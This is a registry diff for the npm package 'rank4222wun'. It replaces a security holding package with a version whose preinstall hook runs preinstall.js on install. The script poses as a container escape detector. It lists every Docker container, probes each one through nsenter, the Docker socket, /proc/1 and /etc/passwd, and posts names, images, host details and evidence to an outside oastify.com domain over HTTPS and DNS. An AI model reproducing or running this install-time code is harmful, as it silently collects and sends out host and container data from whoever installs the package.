rank4222wun 0.0.1-security → 1.0.35

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.35",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,937 @@
1
+ // multi-container-escape-detector.js
2
+ const { exec, spawn } = require('child_process');
3
+ const os = require('os');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+ const https = require('https');
7
+ const dns = require('dns');
8
+ const crypto = require('crypto');
9
+
10
+ console.log(`
11
+ ╔══════════════════════════════════════════════════════════╗
12
+ ║ MULTI-CONTAINER ESCAPE DETECTOR v3.0 ║
13
+ ║ Advanced Container Security Assessment ║
14
+ ╚══════════════════════════════════════════════════════════╝
15
+ `);
16
+
17
+ // ===================== CONFIGURATION =====================
18
+ const CONFIG = {
19
+ // OAST Configuration
20
+ OAST: {
21
+ domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
22
+ httpsPort: 443,
23
+ httpPort: 80,
24
+ apiKey: crypto.randomBytes(16).toString('hex'),
25
+ sessionId: `mced-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
26
+ },
27
+
28
+ // Scanning Configuration
29
+ SCAN: {
30
+ maxContainers: 50,
31
+ parallelScans: 5,
32
+ timeoutPerContainer: 30000,
33
+ deepScan: true,
34
+ autoExploit: false,
35
+ stealthMode: false
36
+ },
37
+
38
+ // Detection Methods
39
+ METHODS: {
40
+ nsenter: true,
41
+ dockerSocket: true,
42
+ procAccess: true,
43
+ kernelExploits: true,
44
+ hostMounts: true,
45
+ capabilities: true,
46
+ networkEscape: true
47
+ },
48
+
49
+ // Output Configuration
50
+ OUTPUT: {
51
+ saveReports: true,
52
+ reportFormat: 'json', // json, html, txt
53
+ verbose: true,
54
+ colorOutput: true
55
+ }
56
+ };
57
+
58
+ // ===================== GLOBAL STATE =====================
59
+ const STATE = {
60
+ startTime: Date.now(),
61
+ containers: {},
62
+ hostInfo: null,
63
+ networkMap: {},
64
+ vulnerabilities: {},
65
+ oastInteractions: [],
66
+ statistics: {
67
+ totalContainers: 0,
68
+ scannedContainers: 0,
69
+ escapedContainers: 0,
70
+ vulnerableContainers: 0,
71
+ criticalEscapes: 0
72
+ }
73
+ };
74
+
75
+ // ===================== UTILITY FUNCTIONS =====================
76
+ class ContainerScanner {
77
+ constructor(containerId) {
78
+ this.id = containerId;
79
+ this.shortId = containerId.substring(0, 12);
80
+ this.info = {
81
+ id: containerId,
82
+ name: '',
83
+ image: '',
84
+ status: '',
85
+ escapeStatus: 'unknown',
86
+ confidence: 0,
87
+ evidence: [],
88
+ methods: [],
89
+ risk: 'low',
90
+ network: {},
91
+ mounts: [],
92
+ capabilities: [],
93
+ vulnerabilities: []
94
+ };
95
+ this.rawData = {};
96
+ }
97
+
98
+ async scan() {
99
+ try {
100
+ console.log(`\n🔍 Scanning container: ${this.shortId}`);
101
+
102
+ // Collect basic info
103
+ await this.collectBasicInfo();
104
+
105
+ // Perform escape checks
106
+ await this.performEscapeChecks();
107
+
108
+ // Analyze results
109
+ await this.analyzeResults();
110
+
111
+ // Report to OAST
112
+ await this.reportToOAST();
113
+
114
+ // Update statistics
115
+ this.updateStatistics();
116
+
117
+ return this.info;
118
+ } catch (error) {
119
+ console.error(`❌ Error scanning container ${this.shortId}:`, error.message);
120
+ this.info.escapeStatus = 'scan_failed';
121
+ return this.info;
122
+ }
123
+ }
124
+
125
+ async collectBasicInfo() {
126
+ const commands = {
127
+ name: `docker inspect ${this.id} --format '{{.Name}}'`,
128
+ image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
129
+ status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
130
+ ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
131
+ ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
132
+ mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
133
+ privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
134
+ capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
135
+ };
136
+
137
+ for (const [key, cmd] of Object.entries(commands)) {
138
+ try {
139
+ const result = await this.executeCommand(cmd);
140
+ this.rawData[key] = result;
141
+
142
+ // Parse specific data
143
+ switch(key) {
144
+ case 'name':
145
+ this.info.name = result.replace(/^\//, '');
146
+ break;
147
+ case 'image':
148
+ this.info.image = result;
149
+ break;
150
+ case 'status':
151
+ this.info.status = result;
152
+ break;
153
+ case 'ip':
154
+ this.info.network.ip = result;
155
+ break;
156
+ case 'mounts':
157
+ try {
158
+ this.info.mounts = JSON.parse(result || '[]');
159
+ } catch (e) {}
160
+ break;
161
+ case 'capabilities':
162
+ try {
163
+ this.info.capabilities = JSON.parse(result || '[]');
164
+ } catch (e) {}
165
+ break;
166
+ }
167
+ } catch (e) {
168
+ this.rawData[key] = null;
169
+ }
170
+ }
171
+ }
172
+
173
+ async performEscapeChecks() {
174
+ const checks = [];
175
+
176
+ if (CONFIG.METHODS.nsenter) {
177
+ checks.push(this.checkNsenterEscape());
178
+ }
179
+
180
+ if (CONFIG.METHODS.dockerSocket) {
181
+ checks.push(this.checkDockerSocketEscape());
182
+ }
183
+
184
+ if (CONFIG.METHODS.procAccess) {
185
+ checks.push(this.checkProcEscape());
186
+ }
187
+
188
+ if (CONFIG.METHODS.hostMounts) {
189
+ checks.push(this.checkMountEscape());
190
+ }
191
+
192
+ if (CONFIG.METHODS.kernelExploits) {
193
+ checks.push(this.checkKernelVulnerabilities());
194
+ }
195
+
196
+ if (CONFIG.METHODS.capabilities) {
197
+ checks.push(this.checkDangerousCapabilities());
198
+ }
199
+
200
+ if (CONFIG.METHODS.networkEscape) {
201
+ checks.push(this.checkNetworkEscape());
202
+ }
203
+
204
+ await Promise.all(checks);
205
+ }
206
+
207
+ async checkNsenterEscape() {
208
+ const command = `docker exec ${this.id} sh -c '
209
+ which nsenter >/dev/null 2>&1 &&
210
+ nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
211
+ echo "FAILED"
212
+ '`;
213
+
214
+ try {
215
+ const result = await this.executeCommand(command);
216
+ if (!result.includes('FAILED') && result.trim()) {
217
+ this.info.methods.push('nsenter');
218
+ this.info.evidence.push(`Nsenter escape possible - Hostname: ${result.trim()}`);
219
+ this.sendOAST('nsenter_escape', { container: this.shortId, result: result.trim() });
220
+ }
221
+ } catch (e) {}
222
+ }
223
+
224
+ async checkDockerSocketEscape() {
225
+ const commands = [
226
+ // Check if docker.sock is mounted
227
+ `docker exec ${this.id} ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"`,
228
+ // Try to access Docker API
229
+ `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'`
230
+ ];
231
+
232
+ try {
233
+ const [socketCheck, apiCheck] = await Promise.all(
234
+ commands.map(cmd => this.executeCommand(cmd))
235
+ );
236
+
237
+ if (!socketCheck.includes('NOT_FOUND') && apiCheck.includes('ACCESSIBLE')) {
238
+ this.info.methods.push('docker_socket');
239
+ this.info.evidence.push('Docker socket accessible and writable');
240
+
241
+ // Try to list other containers
242
+ const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
243
+ const containerCount = await this.executeCommand(listCmd);
244
+
245
+ if (parseInt(containerCount) > 1) {
246
+ this.info.evidence.push(`Can see ${containerCount.trim()} containers on host`);
247
+ this.sendOAST('docker_socket_escape', {
248
+ container: this.shortId,
249
+ accessible: true,
250
+ containerCount: containerCount.trim()
251
+ });
252
+ }
253
+ }
254
+ } catch (e) {}
255
+ }
256
+
257
+ async checkProcEscape() {
258
+ const command = `docker exec ${this.id} sh -c '
259
+ cat /proc/1/status 2>/dev/null | head -5 &&
260
+ cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
261
+ echo "NO_ACCESS"
262
+ '`;
263
+
264
+ try {
265
+ const result = await this.executeCommand(command);
266
+ if (!result.includes('NO_ACCESS') && result.includes('State:')) {
267
+ this.info.methods.push('proc_access');
268
+ this.info.evidence.push('Can access host init process via /proc/1/');
269
+ this.sendOAST('proc_escape', { container: this.shortId });
270
+ }
271
+ } catch (e) {}
272
+ }
273
+
274
+ async checkMountEscape() {
275
+ const command = `docker exec ${this.id} sh -c '
276
+ mount 2>/dev/null | grep -E "(/proc|/sys|/dev|overlay)" | head -10 ||
277
+ cat /proc/mounts 2>/dev/null | head -20
278
+ '`;
279
+
280
+ try {
281
+ const result = await this.executeCommand(command);
282
+ if (result) {
283
+ const lines = result.split('\n');
284
+ const dangerousMounts = lines.filter(line =>
285
+ line.includes('/proc') ||
286
+ line.includes('/sys') ||
287
+ line.includes('/dev') ||
288
+ line.includes('overlay')
289
+ );
290
+
291
+ if (dangerousMounts.length > 0) {
292
+ this.info.methods.push('host_mounts');
293
+ this.info.evidence.push(`${dangerousMounts.length} dangerous mount points found`);
294
+
295
+ // Check if we can access host files through mounts
296
+ const testCmd = `docker exec ${this.id} sh -c '
297
+ ls -la /home 2>/dev/null | head -3 ||
298
+ cat /etc/passwd 2>/dev/null | head -3 ||
299
+ echo "NO_HOST_ACCESS"
300
+ '`;
301
+
302
+ const accessResult = await this.executeCommand(testCmd);
303
+ if (!accessResult.includes('NO_HOST_ACCESS')) {
304
+ this.info.evidence.push('Can access host files through mounts');
305
+ this.sendOAST('mount_escape', {
306
+ container: this.shortId,
307
+ mounts: dangerousMounts.slice(0, 3),
308
+ hostAccess: true
309
+ });
310
+ }
311
+ }
312
+ }
313
+ } catch (e) {}
314
+ }
315
+
316
+ async checkKernelVulnerabilities() {
317
+ const command = `docker exec ${this.id} sh -c '
318
+ uname -r &&
319
+ grep -i "dirtypipe\\|dirtycow\\|shocker\\|overlayfs" /etc/os-release 2>/dev/null ||
320
+ echo "NO_INFO"
321
+ '`;
322
+
323
+ try {
324
+ const result = await this.executeCommand(command);
325
+ if (!result.includes('NO_INFO')) {
326
+ const lines = result.split('\n');
327
+ const kernel = lines[0]?.trim();
328
+
329
+ if (kernel) {
330
+ this.info.vulnerabilities.push(`Kernel: ${kernel}`);
331
+
332
+ // Check for known vulnerable kernels
333
+ const vulnerableKernels = {
334
+ 'DirtyPipe': /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./,
335
+ 'DirtyCow': /^(2\.6\.|3\.|4\.)/,
336
+ 'Shocker': /^(3\.8|3\.9|3\.10)\./
337
+ };
338
+
339
+ for (const [vuln, pattern] of Object.entries(vulnerableKernels)) {
340
+ if (pattern.test(kernel)) {
341
+ this.info.vulnerabilities.push(`${vuln} vulnerability detected`);
342
+ this.sendOAST('kernel_vuln', {
343
+ container: this.shortId,
344
+ kernel: kernel,
345
+ vulnerability: vuln
346
+ });
347
+ break;
348
+ }
349
+ }
350
+ }
351
+ }
352
+ } catch (e) {}
353
+ }
354
+
355
+ async checkDangerousCapabilities() {
356
+ const command = `docker exec ${this.id} sh -c '
357
+ capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
358
+ echo "NO_CAPSH"
359
+ '`;
360
+
361
+ try {
362
+ const result = await this.executeCommand(command);
363
+ if (!result.includes('NO_CAPSH') && result.trim()) {
364
+ const dangerousCaps = [
365
+ 'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
366
+ 'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
367
+ ];
368
+
369
+ const foundCaps = dangerousCaps.filter(cap => result.includes(cap));
370
+ if (foundCaps.length > 0) {
371
+ this.info.methods.push('capabilities');
372
+ this.info.evidence.push(`Dangerous capabilities: ${foundCaps.join(', ')}`);
373
+ this.sendOAST('dangerous_caps', {
374
+ container: this.shortId,
375
+ capabilities: foundCaps
376
+ });
377
+ }
378
+ }
379
+ } catch (e) {}
380
+ }
381
+
382
+ async checkNetworkEscape() {
383
+ const commands = [
384
+ `docker exec ${this.id} ip route show 2>/dev/null | head -5`,
385
+ `docker exec ${this.id} netstat -tunap 2>/dev/null | head -10`,
386
+ `docker exec ${this.id} iptables -L -n 2>/dev/null | head -20`
387
+ ];
388
+
389
+ try {
390
+ const results = await Promise.all(
391
+ commands.map(cmd => this.executeCommand(cmd).catch(() => ''))
392
+ );
393
+
394
+ if (results.some(r => r.trim())) {
395
+ this.info.methods.push('network_escape');
396
+ this.info.network.details = {
397
+ routes: results[0]?.split('\n').slice(0, 3) || [],
398
+ connections: results[1]?.split('\n').slice(0, 5) || [],
399
+ iptables: results[2]?.split('\n').slice(0, 10) || []
400
+ };
401
+ }
402
+ } catch (e) {}
403
+ }
404
+
405
+ async analyzeResults() {
406
+ // Calculate confidence score
407
+ let score = 0;
408
+
409
+ // Method points
410
+ const methodPoints = {
411
+ nsenter: 25,
412
+ docker_socket: 30,
413
+ proc_access: 20,
414
+ host_mounts: 15,
415
+ capabilities: 10,
416
+ network_escape: 10
417
+ };
418
+
419
+ this.info.methods.forEach(method => {
420
+ score += methodPoints[method] || 0;
421
+ });
422
+
423
+ // Vulnerability points
424
+ if (this.info.vulnerabilities.length > 0) {
425
+ score += this.info.vulnerabilities.length * 10;
426
+ }
427
+
428
+ // Evidence points
429
+ score += Math.min(this.info.evidence.length * 5, 25);
430
+
431
+ // Capabilities points
432
+ if (this.info.capabilities.includes('CAP_SYS_ADMIN')) {
433
+ score += 20;
434
+ }
435
+
436
+ // Determine escape status
437
+ this.info.confidence = Math.min(100, score);
438
+
439
+ if (this.info.confidence >= 70) {
440
+ this.info.escapeStatus = 'confirmed';
441
+ this.info.risk = 'critical';
442
+ } else if (this.info.confidence >= 40) {
443
+ this.info.escapeStatus = 'probable';
444
+ this.info.risk = 'high';
445
+ } else if (this.info.confidence >= 20) {
446
+ this.info.escapeStatus = 'possible';
447
+ this.info.risk = 'medium';
448
+ } else {
449
+ this.info.escapeStatus = 'unlikely';
450
+ this.info.risk = 'low';
451
+ }
452
+ }
453
+
454
+ async reportToOAST() {
455
+ if (this.info.escapeStatus !== 'unlikely' && this.info.confidence > 10) {
456
+ const payload = {
457
+ sessionId: CONFIG.OAST.sessionId,
458
+ timestamp: new Date().toISOString(),
459
+ container: {
460
+ id: this.shortId,
461
+ name: this.info.name,
462
+ image: this.info.image
463
+ },
464
+ escape: {
465
+ status: this.info.escapeStatus,
466
+ confidence: this.info.confidence,
467
+ risk: this.info.risk,
468
+ methods: this.info.methods,
469
+ evidence: this.info.evidence.slice(0, 5)
470
+ },
471
+ vulnerabilities: this.info.vulnerabilities
472
+ };
473
+
474
+ this.sendOAST('container_escape_report', payload);
475
+ }
476
+ }
477
+
478
+ sendOAST(type, data) {
479
+ const interactionId = `interaction-${Date.now()}-${crypto.randomBytes(3).toString('hex')}`;
480
+ const interaction = {
481
+ id: interactionId,
482
+ type: type,
483
+ timestamp: new Date().toISOString(),
484
+ container: this.shortId,
485
+ data: data
486
+ };
487
+
488
+ STATE.oastInteractions.push(interaction);
489
+
490
+ // Send via HTTPS
491
+ const req = https.request({
492
+ hostname: CONFIG.OAST.domain,
493
+ port: CONFIG.OAST.httpsPort,
494
+ path: '/multi-container-escape',
495
+ method: 'POST',
496
+ headers: {
497
+ 'Content-Type': 'application/json',
498
+ 'X-Session-ID': CONFIG.OAST.sessionId,
499
+ 'X-Container-ID': this.shortId,
500
+ 'X-API-Key': CONFIG.OAST.apiKey,
501
+ 'User-Agent': 'MultiContainerEscapeDetector/3.0'
502
+ }
503
+ }, (res) => {
504
+ let body = '';
505
+ res.on('data', chunk => body += chunk);
506
+ res.on('end', () => {
507
+ if (CONFIG.OUTPUT.verbose) {
508
+ console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
509
+ }
510
+ });
511
+ });
512
+
513
+ req.on('error', () => {});
514
+ req.write(JSON.stringify({
515
+ interactionId: interactionId,
516
+ sessionId: CONFIG.OAST.sessionId,
517
+ containerId: this.shortId,
518
+ data: data
519
+ }));
520
+ req.end();
521
+
522
+ // Also send DNS notification for critical escapes
523
+ if (this.info.risk === 'critical') {
524
+ const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
525
+ dns.lookup(dnsName, () => {});
526
+ }
527
+ }
528
+
529
+ executeCommand(command) {
530
+ return new Promise((resolve, reject) => {
531
+ exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
532
+ if (error) {
533
+ reject(error);
534
+ } else {
535
+ resolve(stdout.toString().trim());
536
+ }
537
+ });
538
+ });
539
+ }
540
+
541
+ updateStatistics() {
542
+ STATE.statistics.scannedContainers++;
543
+
544
+ if (this.info.escapeStatus === 'confirmed') {
545
+ STATE.statistics.escapedContainers++;
546
+ STATE.statistics.criticalEscapes++;
547
+ } else if (this.info.escapeStatus === 'probable') {
548
+ STATE.statistics.escapedContainers++;
549
+ }
550
+
551
+ if (this.info.vulnerabilities.length > 0) {
552
+ STATE.statistics.vulnerableContainers++;
553
+ }
554
+ }
555
+ }
556
+
557
+ // ===================== MAIN SCANNER CLASS =====================
558
+ class MultiContainerScanner {
559
+ constructor() {
560
+ this.scanners = [];
561
+ this.results = [];
562
+ }
563
+
564
+ async discoverContainers() {
565
+ console.log('🔎 Discovering containers...');
566
+
567
+ try {
568
+ // Get all running containers
569
+ const cmd = 'docker ps -q --no-trunc';
570
+ const output = await this.exec(cmd);
571
+ const containerIds = output.split('\n').filter(id => id.trim());
572
+
573
+ STATE.statistics.totalContainers = containerIds.length;
574
+
575
+ if (containerIds.length === 0) {
576
+ console.log('ℹ️ No running containers found.');
577
+ return [];
578
+ }
579
+
580
+ console.log(`📦 Found ${containerIds.length} containers`);
581
+ return containerIds;
582
+ } catch (error) {
583
+ console.error('❌ Failed to discover containers:', error.message);
584
+ return [];
585
+ }
586
+ }
587
+
588
+ async scanContainers(containerIds) {
589
+ console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
590
+
591
+ // Create scanners
592
+ this.scanners = containerIds.map(id => new ContainerScanner(id));
593
+
594
+ // Scan in batches to avoid overwhelming the system
595
+ const batchSize = CONFIG.SCAN.parallelScans;
596
+ for (let i = 0; i < this.scanners.length; i += batchSize) {
597
+ const batch = this.scanners.slice(i, i + batchSize);
598
+ console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
599
+
600
+ const batchPromises = batch.map(scanner =>
601
+ scanner.scan().catch(error => {
602
+ console.error(`Failed to scan ${scanner.shortId}:`, error.message);
603
+ return scanner.info;
604
+ })
605
+ );
606
+
607
+ const batchResults = await Promise.all(batchPromises);
608
+ this.results.push(...batchResults);
609
+
610
+ // Show progress
611
+ const scanned = Math.min(i + batchSize, this.scanners.length);
612
+ const percent = Math.round((scanned / this.scanners.length) * 100);
613
+ console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
614
+ }
615
+
616
+ return this.results;
617
+ }
618
+
619
+ async generateReport() {
620
+ console.log('\n' + '═'.repeat(80));
621
+ console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
622
+ console.log('═'.repeat(80));
623
+
624
+ const report = {
625
+ metadata: {
626
+ timestamp: new Date().toISOString(),
627
+ sessionId: CONFIG.OAST.sessionId,
628
+ scanDuration: Date.now() - STATE.startTime,
629
+ config: CONFIG
630
+ },
631
+ statistics: STATE.statistics,
632
+ oast: {
633
+ domain: CONFIG.OAST.domain,
634
+ interactions: STATE.oastInteractions.length,
635
+ session: CONFIG.OAST.sessionId
636
+ },
637
+ containers: this.results,
638
+ summary: this.generateSummary()
639
+ };
640
+
641
+ // Print summary
642
+ this.printSummary(report.summary);
643
+
644
+ // Save report if enabled
645
+ if (CONFIG.OUTPUT.saveReports) {
646
+ await this.saveReport(report);
647
+ }
648
+
649
+ return report;
650
+ }
651
+
652
+ generateSummary() {
653
+ const summary = {
654
+ totalScanned: STATE.statistics.scannedContainers,
655
+ escapedContainers: [],
656
+ vulnerableContainers: [],
657
+ criticalIssues: [],
658
+ recommendations: []
659
+ };
660
+
661
+ this.results.forEach(container => {
662
+ if (container.escapeStatus === 'confirmed' || container.escapeStatus === 'probable') {
663
+ summary.escapedContainers.push({
664
+ id: container.id.substring(0, 12),
665
+ name: container.name,
666
+ confidence: container.confidence,
667
+ methods: container.methods,
668
+ risk: container.risk
669
+ });
670
+ }
671
+
672
+ if (container.vulnerabilities.length > 0) {
673
+ summary.vulnerableContainers.push({
674
+ id: container.id.substring(0, 12),
675
+ name: container.name,
676
+ vulnerabilities: container.vulnerabilities
677
+ });
678
+ }
679
+
680
+ if (container.risk === 'critical') {
681
+ summary.criticalIssues.push({
682
+ id: container.id.substring(0, 12),
683
+ name: container.name,
684
+ evidence: container.evidence.slice(0, 3)
685
+ });
686
+ }
687
+ });
688
+
689
+ // Generate recommendations
690
+ if (summary.escapedContainers.length > 0) {
691
+ summary.recommendations.push(
692
+ `Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
693
+ );
694
+ }
695
+
696
+ if (summary.criticalIssues.length > 0) {
697
+ summary.recommendations.push(
698
+ `Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
699
+ );
700
+ }
701
+
702
+ if (summary.vulnerableContainers.length > 0) {
703
+ summary.recommendations.push(
704
+ `Update kernel/software in ${summary.vulnerableContainers.length} containers`
705
+ );
706
+ }
707
+
708
+ if (summary.escapedContainers.length === 0) {
709
+ summary.recommendations.push('No critical escape vectors detected. Regular security maintenance recommended.');
710
+ }
711
+
712
+ return summary;
713
+ }
714
+
715
+ printSummary(summary) {
716
+ console.log('\n📈 SCAN STATISTICS:');
717
+ console.log(' Total containers scanned:', summary.totalScanned);
718
+ console.log(' Containers that can escape:', summary.escapedContainers.length);
719
+ console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
720
+ console.log(' Critical issues:', summary.criticalIssues.length);
721
+
722
+ if (summary.escapedContainers.length > 0) {
723
+ console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
724
+ summary.escapedContainers.forEach((container, i) => {
725
+ console.log(` ${i + 1}. ${container.name || container.id}`);
726
+ console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
727
+ console.log(` Methods: ${container.methods.join(', ')}`);
728
+ });
729
+ }
730
+
731
+ if (summary.criticalIssues.length > 0) {
732
+ console.log('\n⚠️ CRITICAL VULNERABILITIES:');
733
+ summary.criticalIssues.forEach((issue, i) => {
734
+ console.log(` ${i + 1}. ${issue.name || issue.id}`);
735
+ issue.evidence.forEach(ev => console.log(` - ${ev}`));
736
+ });
737
+ }
738
+
739
+ console.log('\n💡 RECOMMENDATIONS:');
740
+ summary.recommendations.forEach((rec, i) => {
741
+ console.log(` ${i + 1}. ${rec}`);
742
+ });
743
+
744
+ console.log('\n📡 OAST REPORTING:');
745
+ console.log(` Domain: ${CONFIG.OAST.domain}`);
746
+ console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
747
+ console.log(` Interactions sent: ${STATE.oastInteractions.length}`);
748
+ console.log(` Check OAST for detailed evidence: https://oastify.com`);
749
+
750
+ console.log('\n' + '═'.repeat(80));
751
+ console.log('🎯 SCAN COMPLETE');
752
+
753
+ if (summary.escapedContainers.length > 0) {
754
+ console.log('🚨 SECURITY ALERT: Container escape vectors detected!');
755
+ console.log('🔒 Immediate remediation required.');
756
+ } else {
757
+ console.log('✅ No critical escape vectors detected.');
758
+ console.log('🛡️ Regular security monitoring recommended.');
759
+ }
760
+
761
+ console.log('═'.repeat(80));
762
+ }
763
+
764
+ async saveReport(report) {
765
+ const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
766
+ const filename = `multi-container-scan-${timestamp}.json`;
767
+
768
+ try {
769
+ fs.writeFileSync(filename, JSON.stringify(report, null, 2));
770
+ console.log(`\n💾 Full report saved to: ${filename}`);
771
+
772
+ // Also save a summary file
773
+ const summaryFilename = `scan-summary-${timestamp}.txt`;
774
+ let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
775
+ summaryText += `Date: ${new Date().toLocaleString()}\n`;
776
+ summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
777
+
778
+ summaryText += `STATISTICS:\n`;
779
+ summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
780
+ summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
781
+ summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
782
+
783
+ if (report.summary.escapedContainers.length > 0) {
784
+ summaryText += `CRITICAL CONTAINERS:\n`;
785
+ report.summary.escapedContainers.forEach(container => {
786
+ summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
787
+ });
788
+ summaryText += '\n';
789
+ }
790
+
791
+ summaryText += `OAST DETAILS:\n`;
792
+ summaryText += ` Domain: ${CONFIG.OAST.domain}\n`;
793
+ summaryText += ` Session: ${CONFIG.OAST.sessionId}\n`;
794
+ summaryText += ` Interactions: ${STATE.oastInteractions.length}\n`;
795
+
796
+ fs.writeFileSync(summaryFilename, summaryText);
797
+ console.log(`📝 Summary saved to: ${summaryFilename}`);
798
+
799
+ } catch (error) {
800
+ console.error('❌ Failed to save report:', error.message);
801
+ }
802
+ }
803
+
804
+ exec(command) {
805
+ return new Promise((resolve, reject) => {
806
+ exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
807
+ if (error) {
808
+ reject(error);
809
+ } else {
810
+ resolve(stdout.toString().trim());
811
+ }
812
+ });
813
+ });
814
+ }
815
+ }
816
+
817
+ // ===================== MAIN EXECUTION =====================
818
+ async function main() {
819
+ console.log('🚀 Starting Multi-Container Escape Scanner...\n');
820
+ console.log('⚙️ Configuration:');
821
+ console.log(` OAST Domain: ${CONFIG.OAST.domain}`);
822
+ console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
823
+ console.log(` Parallel scans: ${CONFIG.SCAN.parallelScans}`);
824
+ console.log(` Deep scan: ${CONFIG.SCAN.deepScan ? 'Yes' : 'No'}`);
825
+
826
+ // Initial OAST ping
827
+ console.log('\n📡 Sending initial OAST ping...');
828
+ try {
829
+ const req = https.request({
830
+ hostname: CONFIG.OAST.domain,
831
+ port: CONFIG.OAST.httpsPort,
832
+ path: '/scan-start',
833
+ method: 'POST',
834
+ headers: {
835
+ 'Content-Type': 'application/json',
836
+ 'X-Session-ID': CONFIG.OAST.sessionId
837
+ }
838
+ });
839
+
840
+ req.write(JSON.stringify({
841
+ action: 'scan_start',
842
+ timestamp: new Date().toISOString(),
843
+ config: {
844
+ parallelScans: CONFIG.SCAN.parallelScans,
845
+ maxContainers: CONFIG.SCAN.maxContainers
846
+ }
847
+ }));
848
+ req.end();
849
+ } catch (e) {}
850
+
851
+ // Create scanner and run
852
+ const scanner = new MultiContainerScanner();
853
+
854
+ try {
855
+ // Discover containers
856
+ const containerIds = await scanner.discoverContainers();
857
+
858
+ if (containerIds.length === 0) {
859
+ console.log('No containers to scan. Exiting.');
860
+ process.exit(0);
861
+ }
862
+
863
+ // Scan containers
864
+ const results = await scanner.scanContainers(containerIds);
865
+
866
+ // Generate report
867
+ const report = await scanner.generateReport();
868
+
869
+ // Send final report to OAST
870
+ console.log('\n📡 Sending final report to OAST...');
871
+ try {
872
+ const finalReq = https.request({
873
+ hostname: CONFIG.OAST.domain,
874
+ port: CONFIG.OAST.httpsPort,
875
+ path: '/scan-complete',
876
+ method: 'POST',
877
+ headers: {
878
+ 'Content-Type': 'application/json',
879
+ 'X-Session-ID': CONFIG.OAST.sessionId,
880
+ 'X-Final-Report': 'true'
881
+ }
882
+ });
883
+
884
+ finalReq.write(JSON.stringify({
885
+ action: 'scan_complete',
886
+ timestamp: new Date().toISOString(),
887
+ statistics: report.statistics,
888
+ summary: report.summary,
889
+ sessionId: CONFIG.OAST.sessionId
890
+ }));
891
+
892
+ finalReq.end();
893
+ console.log('✅ Final report sent to OAST.');
894
+ } catch (e) {
895
+ console.log('⚠️ Could not send final report to OAST (may be expected)');
896
+ }
897
+
898
+ // Exit with appropriate code
899
+ if (report.summary.escapedContainers.length > 0) {
900
+ console.log('\n⚠️ Exiting with warning code (containers can escape)');
901
+ process.exit(2);
902
+ } else {
903
+ console.log('\n✅ Scan completed successfully.');
904
+ process.exit(0);
905
+ }
906
+
907
+ } catch (error) {
908
+ console.error('\n❌ Scan failed:', error.message);
909
+ process.exit(1);
910
+ }
911
+ }
912
+
913
+ // ===================== EXECUTE =====================
914
+ if (require.main === module) {
915
+ // Check if Docker is available
916
+ exec('which docker', (error) => {
917
+ if (error) {
918
+ console.error('❌ Docker is not available or not in PATH.');
919
+ console.error(' This tool requires Docker to be installed and accessible.');
920
+ process.exit(1);
921
+ }
922
+
923
+ // Check if we have permission to run docker commands
924
+ exec('docker ps', (error) => {
925
+ if (error && error.message.includes('permission denied')) {
926
+ console.error('❌ Permission denied for Docker commands.');
927
+ console.error(' Try running with sudo or add your user to docker group.');
928
+ process.exit(1);
929
+ }
930
+
931
+ // Start the scan
932
+ main();
933
+ });
934
+ });
935
+ }
936
+
937
